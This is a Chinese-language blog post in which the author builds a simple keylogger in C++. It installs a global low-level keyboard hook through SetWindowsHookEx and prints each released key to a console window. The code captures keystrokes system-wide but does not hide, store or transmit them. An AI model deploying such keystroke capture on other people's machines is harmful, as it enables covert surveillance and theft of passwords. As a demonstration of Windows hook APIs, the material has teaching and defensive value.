之前寫外掛做過指定進程的 Hook,但是沒有嘗試過全局 Hook,所以今天就來試試。全局 Hook 的用途我第一個就想到了鍵盤記錄器(貌似我也就想到了這個 哈哈),那就寫一個吧。
實現代碼:
#include <windows.h>
#include<iostream>
#include <stdio.h>
#include <conio.h>
using namespace std;
HHOOK keyboardHook = 0; // 鈎子句柄
LRESULT CALLBACK LowLevelKeyboardProc(
_In_ int nCode, // 規定鈎子如何處理消息,小於 0 則直接 CallNextHookEx
_In_ WPARAM wParam, // 消息類型
_In_ LPARAM lParam // 指向某個結構體的指針,這里是 KBDLLHOOKSTRUCT(低級鍵盤輸入事件)
){
KBDLLHOOKSTRUCT *ks = (KBDLLHOOKSTRUCT*)lParam; // 包含低級鍵盤輸入事件信息
/*
typedef struct tagKBDLLHOOKSTRUCT {
DWORD vkCode; // 按鍵代號
DWORD scanCode; // 硬件掃描代號,同 vkCode 也可以作為按鍵的代號。
DWORD flags; // 事件類型,一般按鍵按下為 0 抬起為 128。
DWORD time; // 消息時間戳
ULONG_PTR dwExtraInfo; // 消息附加信息,一般為 0。
}KBDLLHOOKSTRUCT,*LPKBDLLHOOKSTRUCT,*PKBDLLHOOKSTRUCT;
*/
if(ks->flags == 128 || ks->flags == 129)
{
// 監控鍵盤
switch(ks->vkCode){
case 0x30: case 0x60:
cout << "檢測到按鍵:" << "0" << endl;
break;
case 0x31: case 0x61:
cout << "檢測到按鍵:" << "1" << endl;
break;
case 0x32: case 0x62:
cout << "檢測到按鍵:" << "2" << endl;
break;
case 0x33: case 0x63:
cout << "檢測到按鍵:" << "3" << endl;
break;
case 0x34: case 0x64:
cout << "檢測到按鍵:" << "4" << endl;
break;
case 0x35: case 0x65:
cout << "檢測到按鍵:" << "5" << endl;
break;
case 0x36: case 0x66:
cout << "檢測到按鍵:" << "6" << endl;
break;
case 0x37: case 0x67:
cout << "檢測到按鍵:" << "7" << endl;
break;
case 0x38: case 0x68:
cout << "檢測到按鍵:" << "8" << endl;
break;
case 0x39: case 0x69:
cout << "檢測到按鍵:" << "9" << endl;
break;
case 0x41:
cout << "檢測到按鍵:" << "A" << endl;
break;
case 0x42:
cout << "檢測到按鍵:" << "B" << endl;
break;
case 0x43:
cout << "檢測到按鍵:" << "C" << endl;
break;
case 0x44:
cout << "檢測到按鍵:" << "D" << endl;
break;
case 0x45:
cout << "檢測到按鍵:" << "E" << endl;
break;
case 0x46:
cout << "檢測到按鍵:" << "F" << endl;
break;
case 0x47:
cout << "檢測到按鍵:" << "G" << endl;
break;
case 0x48:
cout << "檢測到按鍵:" << "H" << endl;
break;
case 0x49:
cout << "檢測到按鍵:" << "I" << endl;
break;
case 0x4A:
cout << "檢測到按鍵:" << "J" << endl;
break;
case 0x4B:
cout << "檢測到按鍵:" << "K" << endl;
break;
case 0x4C:
cout << "檢測到按鍵:" << "L" << endl;
break;
case 0x4D:
cout << "檢測到按鍵:" << "M" << endl;
break;
case 0x4E:
cout << "檢測到按鍵:" << "N" << endl;
break;
case 0x4F:
cout << "檢測到按鍵:" << "O" << endl;
break;
case 0x50:
cout << "檢測到按鍵:" << "P" << endl;
break;
case 0x51:
cout << "檢測到按鍵:" << "Q" << endl;
break;
case 0x52:
cout << "檢測到按鍵:" << "R" << endl;
break;
case 0x53:
cout << "檢測到按鍵:" << "S" << endl;
break;
case 0x54:
cout << "檢測到按鍵:" << "T" << endl;
break;
case 0x55:
cout << "檢測到按鍵:" << "U" << endl;
break;
case 0x56:
cout << "檢測到按鍵:" << "V" << endl;
break;
case 0x57:
cout << "檢測到按鍵:" << "W" << endl;
break;
case 0x58:
cout << "檢測到按鍵:" << "X" << endl;
break;
case 0x59:
cout << "檢測到按鍵:" << "Y" << endl;
break;
case 0x5A:
cout << "檢測到按鍵:" << "Z" << endl;
break;
case 0x6A:
cout << "檢測到按鍵:" << "*" << endl;
break;
case 0x6B:
cout << "檢測到按鍵:" << "+" << endl;
break;
case 0x6D:
cout << "檢測到按鍵:" << "-" << endl;
break;
case 0x6E:
cout << "檢測到按鍵:" << "." << endl;
break;
case 0x6F:
cout << "檢測到按鍵:" << "/" << endl;
break;
case 0x0D:
cout << "檢測到按鍵:" << "Enter" << endl;
break;
case 0xA0: case 0xA1:
cout << "檢測到按鍵:" << "Shift" << endl;
break;
case 0x08:
cout << "檢測到按鍵:" << "Backspace" << endl;
break;
case 0x20:
cout << "檢測到按鍵:" << "Space" << endl;
break;
}
//return 1; // 使按鍵失效
}
// 將消息傳遞給鈎子鏈中的下一個鈎子
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int _tmain(int argc, _TCHAR* argv[])
{
// 安裝鈎子
keyboardHook = SetWindowsHookEx(
WH_KEYBOARD_LL, // 鈎子類型,WH_KEYBOARD_LL 為鍵盤鈎子
LowLevelKeyboardProc, // 指向鈎子函數的指針
GetModuleHandleA(NULL), // Dll 句柄
NULL
);
if (keyboardHook == 0){cout << "掛鈎鍵盤失敗" << endl; return -1;}
//不可漏掉消息處理,不然程序會卡死
MSG msg;
while(1)
{
// 如果消息隊列中有消息
if (PeekMessageA(
&msg, // MSG 接收這個消息
NULL, // 檢測消息的窗口句柄,NULL:檢索當前線程所有窗口消息
NULL, // 檢查消息范圍中第一個消息的值,NULL:檢查所有消息(必須和下面的同時為NULL)
NULL, // 檢查消息范圍中最后一個消息的值,NULL:檢查所有消息(必須和上面的同時為NULL)
PM_REMOVE // 處理消息的方式,PM_REMOVE:處理后將消息從隊列中刪除
)){
// 把按鍵消息傳遞給字符消息
TranslateMessage(&msg);
// 將消息分派給窗口程序
DispatchMessageW(&msg);
}
else
Sleep(0); //避免CPU全負載運行
}
// 刪除鈎子
UnhookWindowsHookEx(keyboardHook);
return 0;
}
效果圖: